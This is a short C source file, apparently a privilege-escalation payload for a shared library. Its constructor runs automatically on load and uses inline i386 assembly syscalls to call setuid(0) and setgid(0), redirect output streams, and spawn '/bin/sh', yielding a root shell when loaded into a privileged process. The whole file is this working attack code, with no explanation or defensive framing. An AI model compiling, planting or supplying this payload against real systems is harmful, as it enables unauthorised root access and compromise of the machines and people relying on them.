static void __attribute__ ((constructor)) _init (void) {
    __asm__ __volatile__ (
    "addl $64, %esp;"
    // setuid(0);
    "movl $23, %eax;"
    "movl $0, %ebx;"
    "int $0x80;"
    // setgid(0);
    "movl $46, %eax;"
    "movl $0, %ebx;"
    "int $0x80;"
    // dup2(0, 1);
    "movl $63, %eax;"
    "movl $0, %ebx;"
    "movl $1, %ecx;"
    "int $0x80;"
    // dup2(0, 2);
    "movl $63, %eax;"
    "movl $0, %ebx;"
    "movl $2, %ecx;"
    "int $0x80;"
    // execve("/bin/sh");
    "movl $11, %eax;"
    "pushl $0x0068732f;"
    "pushl $0x6e69622f;"
    "movl %esp, %ebx;"
    "movl $0, %edx;"
    "pushl %edx;"
    "pushl %ebx;"
    "movl %esp, %ecx;"
    "int $0x80;"
    // exit(0);
    "movl $1, %eax;"
    "movl $0, %ebx;"
    "int $0x80;"
    );
}